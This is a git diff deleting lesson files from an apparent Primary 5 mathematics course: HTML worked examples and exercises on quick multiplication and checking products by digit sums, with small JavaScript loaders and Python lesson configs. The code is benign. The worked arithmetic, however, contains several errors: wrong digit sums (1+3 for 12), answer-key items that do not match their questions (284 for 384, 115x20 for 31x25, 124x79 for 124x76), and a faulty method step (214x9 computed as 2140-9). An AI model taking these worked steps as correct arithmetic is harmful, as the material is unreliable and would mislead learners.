-     {'filename':'content/Mathematics/map511m05/map511m5a08/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a08/source.txt b/Save_Mathematics/P5/map511m05/map511m5a08/source.txt
deleted file mode 100644
index e4c4dbc..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a08/source.txt
+++ /dev/null
@@ -1,29 +0,0 @@
-<p>
- Quick multiplication by 11 means that when multiplying a number by 11 the product is coming automatically without using the calculator.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)35 x 11 =(35 x 10) + 35
- <br />
- =350 + 35
- <br />
- =385
- <br />
- <br />
- 2)40 x 11 =(40 x 10) +40
- <br />
- =400 + 40
- <br />
- =440
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  rule
- </span>
- : To multiply number by 11,first multiply by 10 and add the multiplier
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a09/a.txt b/Save_Mathematics/P5/map511m05/map511m5a09/a.txt
deleted file mode 100644
index 3ffd036..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a09/a.txt
+++ /dev/null
@@ -1,128 +0,0 @@
-<p>
- this activity is related on how we can multiply two numbers and check if the product found is correct or not.we use proof.
-</p>
-<h4>
- by making a proof we use the chart :
- <span class="multilang" style="font-weight: normal;" lang="am">
-  x
- </span>
-</h4>
-<p>
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :here we have some calculation on multiplication and we shall check if the product found is correct or not.
- <br />
- 1) 234
- <br />
- x
- <span style="text-decoration: underline;">
-  12
- </span>
- <br />
- 468
- <br />
- +
- <span style="text-decoration: underline;">
-  234
- </span>
- <br />
- 2808
- <br />
- <br />
- 2)2375
- <br />
- x
- <span style="text-decoration: underline;">
-  125
- </span>
- <br />
- 11875
- <br />
- +4750
- <br />
- <span style="text-decoration: underline;">
-  2375
-  <br />
- </span>
- 296,875
- <br />
- here are some rules to follow when making a proof of seeing if the product found are correct or not.
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Rules:
- </span>
- <br />
- a.Add the digits in multicand until you get a single digit and fill in the chart
- <br />
- <br />
- b.Add the digits of the multiplier until you get a single digit and fill in the chart.
- <br />
- <br />
- c.Multiply the two answers obtained
- <br />
- <br />
- d.Add the digit of the product
- <br />
- <br />
- e.Add the digits of the answers if it is a single digit.
- <br />
- <br />
- <span style="font-style: italic;">
- </span>
- <br style="font-style: italic;" />
-</p>
-&nbsp;
-<table style="font-style: italic;" border="1" width="100%" align="middle">
- <tbody>
- </tbody>
-</table>
-<p>
- <span style="text-decoration: underline; font-style: italic;">
-  Application of the above rules in the above examples
- </span>
- <span style="font-style: italic;">
- </span>
-</p>
-<p>
- here is an image of like
- <span style="font-weight: bold;">
-  x in which
- </span>
- numbers are in the intersection of 2 lines.we are going to apply the above rules by checking if the product found on the above examples are correct or not.
-</p>
-<p>
- 1)a)2+3+4=9
-</p>
-<p>
- b)1+3=4
-</p>
-<p>
- c)9x3=27=2+7=9
-</p>
-<p>
- d)2+8+0+8=18=1+8=9
-</p>
-<p>
- if the numbers found on rules c and d are equal the product is correct else it's incorrect.For our first example the product is correct because number found on rule c and d are the same.
-</p>
-<p>
- 2)a)2+3+7+5=17=1+7=8
-</p>
-<p>
- b)1+2+5=8
-</p>
-<p>
- c)8x8=64=6+4=10=1+0=1
-</p>
-<p>
- d)2+9+6+8+7+5=37=3+7=10=1+0=1
-</p>
-<p>
- As the number found in rule c and d are the same,our product is correct.
-</p>
-<p>
- &nbsp;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a09/description.py b/Save_Mathematics/P5/map511m05/map511m5a09/description.py
deleted file mode 100644
index f4e94c1..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a09/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a09',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a09/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a09/lesson.js
deleted file mode 100644
index d45d6c1..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a09/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a09/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a09/source.txt b/Save_Mathematics/P5/map511m05/map511m5a09/source.txt
deleted file mode 100644
index 3ffd036..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a09/source.txt
+++ /dev/null
@@ -1,128 +0,0 @@
-<p>
- this activity is related on how we can multiply two numbers and check if the product found is correct or not.we use proof.
-</p>
-<h4>
- by making a proof we use the chart :
- <span class="multilang" style="font-weight: normal;" lang="am">
-  x
- </span>
-</h4>
-<p>
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :here we have some calculation on multiplication and we shall check if the product found is correct or not.
- <br />
- 1) 234
- <br />
- x
- <span style="text-decoration: underline;">
-  12
- </span>
- <br />
- 468
- <br />
- +
- <span style="text-decoration: underline;">
-  234
- </span>
- <br />
- 2808
- <br />
- <br />
- 2)2375
- <br />
- x
- <span style="text-decoration: underline;">
-  125
- </span>
- <br />
- 11875
- <br />
- +4750
- <br />
- <span style="text-decoration: underline;">
-  2375
-  <br />
- </span>
- 296,875
- <br />
- here are some rules to follow when making a proof of seeing if the product found are correct or not.
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Rules:
- </span>
- <br />
- a.Add the digits in multicand until you get a single digit and fill in the chart
- <br />
- <br />
- b.Add the digits of the multiplier until you get a single digit and fill in the chart.
- <br />
- <br />
- c.Multiply the two answers obtained
- <br />
- <br />
- d.Add the digit of the product
- <br />
- <br />
- e.Add the digits of the answers if it is a single digit.
- <br />
- <br />
- <span style="font-style: italic;">
- </span>
- <br style="font-style: italic;" />
-</p>
-&nbsp;
-<table style="font-style: italic;" border="1" width="100%" align="middle">
- <tbody>
- </tbody>
-</table>
-<p>
- <span style="text-decoration: underline; font-style: italic;">
-  Application of the above rules in the above examples
- </span>
- <span style="font-style: italic;">
- </span>
-</p>
-<p>
- here is an image of like
- <span style="font-weight: bold;">
-  x in which
- </span>
- numbers are in the intersection of 2 lines.we are going to apply the above rules by checking if the product found on the above examples are correct or not.
-</p>
-<p>
- 1)a)2+3+4=9
-</p>
-<p>
- b)1+3=4
-</p>
-<p>
- c)9x3=27=2+7=9
-</p>
-<p>
- d)2+8+0+8=18=1+8=9
-</p>
-<p>
- if the numbers found on rules c and d are equal the product is correct else it's incorrect.For our first example the product is correct because number found on rule c and d are the same.
-</p>
-<p>
- 2)a)2+3+7+5=17=1+7=8
-</p>
-<p>
- b)1+2+5=8
-</p>
-<p>
- c)8x8=64=6+4=10=1+0=1
-</p>
-<p>
- d)2+9+6+8+7+5=37=3+7=10=1+0=1
-</p>
-<p>
- As the number found in rule c and d are the same,our product is correct.
-</p>
-<p>
- &nbsp;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a10/a.txt b/Save_Mathematics/P5/map511m05/map511m5a10/a.txt
deleted file mode 100644
index f00240d..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a10/a.txt
+++ /dev/null
@@ -1,306 +0,0 @@
-<p>
- 1.Calculate the product of the following numbers and use proof to check whether the product found is correct or not:
- <br />
- a)24
- <br />
- <span style="text-decoration: underline;">
-  x17
- </span>
- <br />
- <br />
- b)274
- <br />
- <span style="text-decoration: underline;">
-  x19
-  <br />
-  <br />
- </span>
- c)42
- <br />
- x
- <span style="text-decoration: underline;">
-  24
- </span>
- <br />
- <br />
- 2.calculate quickly the product of the following numbers:
- <br />
- <br />
- a)384 x 10 =
- <br />
- <br />
- b)196 x 100=
- <br />
- <br />
- c)27 x 1,000=
- <br />
- <br />
- d)31 x 25=
- <br />
- <br />
- e)15 x 7=
- <br />
- <br />
- f)125 x 50=
- <br />
- <br />
- g)247 x 19=
- <br />
- <br />
- h)121 x 49=
- <br />
- <br />
- i)214 x 9=
- <br />
- <br />
- k)121 x 11=
- <br />
- <br />
- 3)Check whether the product is correct o not :
- <br />
- <br />
- a)24
- <br />
- <span style="text-decoration: underline;">
-  x12
- </span>
- <br />
- <br />
- b)127
- <br />
- x
- <span style="text-decoration: underline;">
-  12
- </span>
- <br />
- <br />
- 4.A farmer planted 124rows of coffee seeding.If he planted 76 seeding in each row,how many seeding were planted altogether?
- <br />
- <br />
- <span style="text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- 1)a)24
- <br />
- <span style="text-decoration: underline;">
-  x17
-  <br />
- </span>
- 168
- <br />
- +
- <span style="text-decoration: underline;">
-  24
-  <br />
- </span>
- 408
- <br />
- <span style="text-decoration: underline;">
-  proof
- </span>
- :
- <br />
- <br />
- a)2+4=6
- <br />
- <br />
- b)1+7=8
- <br />
- <br />
- c)6 x 8=48=4+8=12=1+2=3
- <br />
- <br />
- d)408=4+0+8=12=1+2=3
- <br />
- <br />
- As the number found on c and d rule are the same,our product is correct
- <br />
- <br />
- b)274
- <br />
- x
- <span style="text-decoration: underline;">
-  19
- </span>
- <br />
- 2466
- <br />
- +
- <span style="text-decoration: underline;">
-  274
- </span>
- <br />
- 5206
- <br />
- <br />
- <span style="text-decoration: underline;">
-  proof
- </span>
- :
- <br />
- <br />
- a)2+7+4=13=1+3=4
- <br />
- <br />
- b)1+9=10=1+0=1
- <br />
- <br />
- c)4 x 1=4
- <br />
- <br />
- d)5206=5+2+0+6=13=1+3=4
- <br />
- <br />
- as the number found on rule c and d are the same our product is correct.
- <br />
- <br />
- c)42
- <br />
- x
- <span style="text-decoration: underline;">
-  24
- </span>
- <br />
- 168
- <br />
- <span style="text-decoration: underline;">
-  +84
- </span>
- <br />
- 1,008
- <br />
- <br />
- <span style="text-decoration: underline;">
-  proof
- </span>
- :
- <br />
- <br />
- a)2+4=6
- <br />
- <br />
- b)2+4=6
- <br />
- <br />
- c)6 x 6=36=3+6=9
- <br />
- <br />
- d)1+0+0+8=9
- <br />
- <br />
- As the number found on rule c and d are the same,our product is correct.
- <br />
- <br />
- 2.a)284 x 10 =2,840
- <br />
- <br />
- b)196 x 100 =19,600
- <br />
- <br />
- c)27 x 1,000=27,000
- <br />
- <br />
- d)115 x 20=(115 x2) x 10
- <br />
- =230 x 10
- <br />
- =2,300
- <br />
- e)17 x 5=(17 x 10):2
- <br />
- =170:2
- <br />
- =85
- <br />
- f)125 x 50=(125 x 100):2
- <br />
- =12,500:2
- <br />
- =6250
- <br />
- g)247 x 19=(247 x 20)-247
- <br />
- =4940-247
- <br />
- =4693
- <br />
- h)121 x 49=(121 x 50)-121
- <br />
- =6050-121
- <br />
- =6001
- <br />
- i)214 x 9=(214 x 10)-9
- <br />
- =2,140-9
- <br />
- =1926
- <br />
- k)42 x 99=(42 x 100)-42
- <br />
- =4,200-42
- <br />
- =4158
- <br />
- l)129 x 11=(129 x 10)+129
- <br />
- =1,290+129
- <br />
- =1419
- <br />
- <br />
- 3)a)24
- <br />
- x
- <span style="text-decoration: underline;">
-  12
-  <br />
- </span>
- 296
- <br />
- a)2+4=6
- <br />
- <br />
- b)1+3=4
- <br />
- <br />
- c)6 x 3=18=1+8=9
- <br />
- <br />
- d)296=2+9+6=17=1+7=8
- <br />
- As the number found on c and d rules are different our product is incorrect.
- <br />
- <br />
- b)127
- <br />
- x
- <span style="text-decoration: underline;">
-  12
- </span>
- <br />
- 1524
- <br />
- <br />
- a)1+2+7=10=1+0=1
- <br />
- <br />
- b)1+2=3
- <br />
- <br />
- c)3 x 1=3
- <br />
- <br />
- d)1524=1+5+2+4=12=1+2=3
- <br />
- <br />
- As the number found on the rule c and d are the same,our product is correct.
- <br />
- <br />
- 4.number of rows=124
- <br />
- number of seeding planted=76
- <br />
- seeding planted altogether=124 x 79=9,424seeding
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a10/description.py b/Save_Mathematics/P5/map511m05/map511m5a10/description.py
deleted file mode 100644
index 9a92787..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a10/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a10',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a10/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a10/lesson.js
deleted file mode 100644
index 4e287ca..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a10/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a10/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a10/source.txt b/Save_Mathematics/P5/map511m05/map511m5a10/source.txt
deleted file mode 100644
index f00240d..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a10/source.txt
+++ /dev/null
@@ -1,306 +0,0 @@
-<p>
- 1.Calculate the product of the following numbers and use proof to check whether the product found is correct or not:
- <br />
- a)24
- <br />
- <span style="text-decoration: underline;">
-  x17
- </span>
- <br />
- <br />
- b)274
- <br />
- <span style="text-decoration: underline;">
-  x19
-  <br />
-  <br />
- </span>
- c)42
- <br />
- x
- <span style="text-decoration: underline;">
-  24
- </span>
- <br />
- <br />
- 2.calculate quickly the product of the following numbers:
- <br />
- <br />
- a)384 x 10 =
- <br />
- <br />
- b)196 x 100=
- <br />
- <br />
- c)27 x 1,000=
- <br />
- <br />
- d)31 x 25=
- <br />
- <br />
- e)15 x 7=
- <br />
- <br />
- f)125 x 50=
- <br />
- <br />
- g)247 x 19=
- <br />
- <br />
- h)121 x 49=
- <br />
- <br />
- i)214 x 9=
- <br />
- <br />
- k)121 x 11=
- <br />
- <br />
- 3)Check whether the product is correct o not :
- <br />
- <br />
- a)24
- <br />
- <span style="text-decoration: underline;">
-  x12
- </span>
- <br />
- <br />
- b)127
- <br />
- x
- <span style="text-decoration: underline;">
-  12
- </span>
- <br />
- <br />
- 4.A farmer planted 124rows of coffee seeding.If he planted 76 seeding in each row,how many seeding were planted altogether?
- <br />
- <br />
- <span style="text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- 1)a)24
- <br />
- <span style="text-decoration: underline;">
-  x17
-  <br />
- </span>
- 168
- <br />
- +
- <span style="text-decoration: underline;">
-  24
-  <br />
- </span>
- 408
- <br />
- <span style="text-decoration: underline;">
-  proof
- </span>
- :
- <br />
- <br />
- a)2+4=6
- <br />
- <br />
- b)1+7=8
- <br />
- <br />
- c)6 x 8=48=4+8=12=1+2=3
- <br />
- <br />
- d)408=4+0+8=12=1+2=3
- <br />
- <br />
- As the number found on c and d rule are the same,our product is correct
- <br />
- <br />
- b)274
- <br />
- x
- <span style="text-decoration: underline;">
-  19
- </span>
- <br />
- 2466
- <br />
- +
- <span style="text-decoration: underline;">
-  274
- </span>
- <br />
- 5206
- <br />
- <br />
- <span style="text-decoration: underline;">
-  proof
- </span>
- :
- <br />
- <br />
- a)2+7+4=13=1+3=4
- <br />
- <br />
- b)1+9=10=1+0=1
- <br />
- <br />
- c)4 x 1=4
- <br />
- <br />
- d)5206=5+2+0+6=13=1+3=4
- <br />
- <br />
- as the number found on rule c and d are the same our product is correct.
- <br />
- <br />
- c)42
- <br />
- x
- <span style="text-decoration: underline;">
-  24
- </span>
- <br />
- 168
- <br />
- <span style="text-decoration: underline;">
-  +84
- </span>
- <br />
- 1,008
- <br />
- <br />
- <span style="text-decoration: underline;">
-  proof
- </span>
- :
- <br />
- <br />
- a)2+4=6
- <br />
- <br />
- b)2+4=6
- <br />
- <br />
- c)6 x 6=36=3+6=9
- <br />
- <br />
- d)1+0+0+8=9
- <br />
- <br />
- As the number found on rule c and d are the same,our product is correct.
- <br />
- <br />
- 2.a)284 x 10 =2,840
- <br />
- <br />
- b)196 x 100 =19,600
- <br />
- <br />
- c)27 x 1,000=27,000
- <br />
- <br />
- d)115 x 20=(115 x2) x 10
- <br />
- =230 x 10
- <br />
- =2,300
- <br />
- e)17 x 5=(17 x 10):2
- <br />
- =170:2
- <br />
- =85
- <br />
- f)125 x 50=(125 x 100):2
- <br />
- =12,500:2
- <br />
- =6250
- <br />
- g)247 x 19=(247 x 20)-247
- <br />
- =4940-247
- <br />
- =4693
- <br />
- h)121 x 49=(121 x 50)-121
- <br />
- =6050-121
- <br />
- =6001
- <br />
- i)214 x 9=(214 x 10)-9
- <br />
- =2,140-9
- <br />
- =1926
- <br />
- k)42 x 99=(42 x 100)-42
- <br />
- =4,200-42
- <br />
- =4158
- <br />
- l)129 x 11=(129 x 10)+129
- <br />
- =1,290+129
- <br />
- =1419
- <br />
- <br />
- 3)a)24
- <br />
- x
- <span style="text-decoration: underline;">
-  12
-  <br />
- </span>
- 296
- <br />
- a)2+4=6
- <br />
- <br />
- b)1+3=4
- <br />
- <br />
- c)6 x 3=18=1+8=9
- <br />
- <br />
- d)296=2+9+6=17=1+7=8
- <br />
- As the number found on c and d rules are different our product is incorrect.
- <br />
- <br />
- b)127
- <br />
- x
- <span style="text-decoration: underline;">
-  12
- </span>
- <br />
- 1524
- <br />
- <br />
- a)1+2+7=10=1+0=1
- <br />
- <br />
- b)1+2=3
- <br />
- <br />
- c)3 x 1=3
- <br />
- <br />
- d)1524=1+5+2+4=12=1+2=3
- <br />
- <br />
- As the number found on the rule c and d are the same,our product is correct.
- <br />
- <br />
- 4.number of rows=124
- <br />
- number of seeding planted=76
- <br />
- seeding planted altogether=124 x 79=9,424seeding
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a11/a.txt b/Save_Mathematics/P5/map511m05/map511m5a11/a.txt
deleted file mode 100644
index 1fc97ec..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a11/a.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-<p>
- 1.Calculate the product of the following numbers and use proof to check whether the product is correct or not:
- <br />
- <br />
- a)127 x 294
- <br />
- <br />
- b)394 x 714
- <br />
- <br />
- c)129 x 76
- <br />
- <br />
- 2.Without using the calculator,calculate quickly the following multiplications:
- <br />
- <br />
- a)77 x 24
- <br />
- <br />
- b)26 x 10
- <br />
- <br />
- c)176 x100
- <br />
- <br />
- d)276 x 1,000
- <br />
- <br />
- e)285 x 5
- <br />
- <br />
- f)194 x 50
- <br />
- <br />
- g)189 x 20
- <br />
- <br />
- h)1246 x 25
- <br />
- <br />
- i)945 x 9
- <br />
- <br />
- j)1240 x 99
- <br />
- <br />
- k)199 x 19
- <br />
- <br />
- l)196 x 49
- <br />
- <br />
- 3. A fish man catch 1,246 fishes per day.How many fishes does he catch in the whole week?supposed he number of fishes caught per day are uniform(are the same).
- <br />
- <br />
- 4.A library has 26 shelves of books with 370 books per each shelf.How many books are in the library?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a11/description.py b/Save_Mathematics/P5/map511m05/map511m5a11/description.py
deleted file mode 100644
index 1ab8cfe..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a11/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a11',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a11/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a11/lesson.js
deleted file mode 100644
index fc2eb0d..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a11/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a11/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a11/source.txt b/Save_Mathematics/P5/map511m05/map511m5a11/source.txt
deleted file mode 100644
index 1fc97ec..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a11/source.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-<p>
- 1.Calculate the product of the following numbers and use proof to check whether the product is correct or not:
- <br />
- <br />
- a)127 x 294
- <br />
- <br />
- b)394 x 714
- <br />
- <br />
- c)129 x 76
- <br />
- <br />
- 2.Without using the calculator,calculate quickly the following multiplications:
- <br />
- <br />
- a)77 x 24
- <br />
- <br />
- b)26 x 10
- <br />
- <br />
- c)176 x100
- <br />
- <br />
- d)276 x 1,000
- <br />
- <br />
- e)285 x 5
- <br />
- <br />
- f)194 x 50
- <br />
- <br />
- g)189 x 20
- <br />
- <br />
- h)1246 x 25
- <br />
- <br />
- i)945 x 9
- <br />
- <br />
- j)1240 x 99
- <br />
- <br />
- k)199 x 19
- <br />
- <br />
- l)196 x 49
- <br />
- <br />
- 3. A fish man catch 1,246 fishes per day.How many fishes does he catch in the whole week?supposed he number of fishes caught per day are uniform(are the same).
- <br />
- <br />
- 4.A library has 26 shelves of books with 370 books per each shelf.How many books are in the library?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a12/a.txt b/Save_Mathematics/P5/map511m05/map511m5a12/a.txt
deleted file mode 100644
index e3d3af2..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a12/a.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- 1.Perform the following calculations:
- <br />
- <br />
- a)240 x 99
- <br />
- <br />
- b)1,999 x 25
- <br />
- <br />
- c)687 x 11
- <br />
- <br />
- d)1245 x 100
- <br />
- <br />
- 2.Calculate the product and use the proof to check whether the product is correct or not:
- <br />
- <br />
- a)274 x 124
- <br />
- <br />
- b)1,426 x 76
- <br />
- <br />
- c)107 x 74
- <br />
- <br />
- 3.Adam's banana plantation produces 102 bunches in a week.If he sells each bunch at 870rfws.How much money does he get in
- <br />
- a)In one week?
- <br />
- <br />
- b)in one month?
- <br />
- <br />
- c)In one year?
- <br />
- <br />
- 4.National examination paper contains 3 parts.each parts contains 10 questions.How many questions does the national examination have?
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a12/description.py b/Save_Mathematics/P5/map511m05/map511m5a12/description.py
deleted file mode 100644
index f92a74e..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a12/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a12',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a12/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a12/lesson.js
deleted file mode 100644
index 83c4320..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a12/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a12/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a12/source.txt b/Save_Mathematics/P5/map511m05/map511m5a12/source.txt
deleted file mode 100644
index e3d3af2..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a12/source.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- 1.Perform the following calculations:
- <br />
- <br />
- a)240 x 99
- <br />
- <br />
- b)1,999 x 25
- <br />
- <br />
- c)687 x 11
- <br />
- <br />
- d)1245 x 100
- <br />
- <br />
- 2.Calculate the product and use the proof to check whether the product is correct or not:
- <br />
- <br />
- a)274 x 124
- <br />
- <br />
- b)1,426 x 76
- <br />
- <br />
- c)107 x 74
- <br />
- <br />
- 3.Adam's banana plantation produces 102 bunches in a week.If he sells each bunch at 870rfws.How much money does he get in
- <br />
- a)In one week?
- <br />
- <br />
- b)in one month?
- <br />
- <br />
- c)In one year?
- <br />
- <br />
- 4.National examination paper contains 3 parts.each parts contains 10 questions.How many questions does the national examination have?
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a13/a.txt b/Save_Mathematics/P5/map511m05/map511m5a13/a.txt
deleted file mode 100644
index a2d0a43..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a13/a.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-<p>
- 1.calculate
- <br />
- <br />
- a)174 x 29 =
- <br />
- <br />
- b)26 x 49 =
- <br />
- <br />
- c)214 x 99 =
- <br />
- <br />
- 2.use proof to check whether the product got is correct or not on question 1.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a13/description.py b/Save_Mathematics/P5/map511m05/map511m5a13/description.py
deleted file mode 100644
index 5b7b136..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a13/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a13',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a13/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a13/lesson.js
deleted file mode 100644
index 1f8cf05..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a13/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m05/map511m5a13/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m05/map511m5a13/source.txt b/Save_Mathematics/P5/map511m05/map511m5a13/source.txt
deleted file mode 100644
index a2d0a43..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a13/source.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-<p>
- 1.calculate
- <br />
- <br />
- a)174 x 29 =
- <br />
- <br />
- b)26 x 49 =
- <br />
- <br />
- c)214 x 99 =
- <br />
- <br />
- 2.use proof to check whether the product got is correct or not on question 1.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a14/a.txt b/Save_Mathematics/P5/map511m05/map511m5a14/a.txt
deleted file mode 100644
index a1e530d..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a14/a.txt
+++ /dev/null
@@ -1,99 +0,0 @@
-<p>
- Study the following table and fill in place of ?
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    multiple of
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    15
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    18
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    27
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    sum
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1+2
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1+5
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1+8
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2+1
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2+4
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2+7
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    sum
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ?
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    ?
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m05/map511m5a14/description.py b/Save_Mathematics/P5/map511m05/map511m5a14/description.py
deleted file mode 100644
index 13832a9..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a14/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m5a14',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m05/map511m5a14/lesson.js b/Save_Mathematics/P5/map511m05/map511m5a14/lesson.js
deleted file mode 100644
index b9490c5..0000000
--- a/Save_Mathematics/P5/map511m05/map511m5a14/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
